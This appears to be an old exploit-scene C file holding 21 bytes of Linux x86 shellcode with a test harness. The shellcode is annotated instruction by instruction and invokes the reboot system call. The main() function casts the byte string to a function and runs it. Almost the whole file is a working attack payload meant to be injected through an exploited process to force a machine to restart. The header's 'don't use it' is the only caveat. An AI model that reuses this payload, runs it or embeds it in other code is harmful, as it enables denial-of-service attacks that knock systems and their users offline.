/* 21 bytes reboot shellcode - linux-x86
 * - by bighawk (bighawk@warfare.com)
 *
 * This is made out of boredom.. don't use it
*/

char code[] =

   "\x31\xc0"			// xor   eax, eax
   "\xb0\x58"			// mov   al,  58h
   "\xbb\xad\xde\xe1\xfe"	// mov   ebx, fee1deadh		; Who said linux-developers dont have humour?
   "\xb9\x69\x19\x12\x28"	// mov   ecx, 28121969h
   "\xba\x67\x45\x23\x01"	// mov	 edx, 1234567h
   "\xcd\x80";			// int   80h

main() {
  void (*a)() = (void *)code;
  printf("size: %d bytes\n", strlen(code));
  a();
}
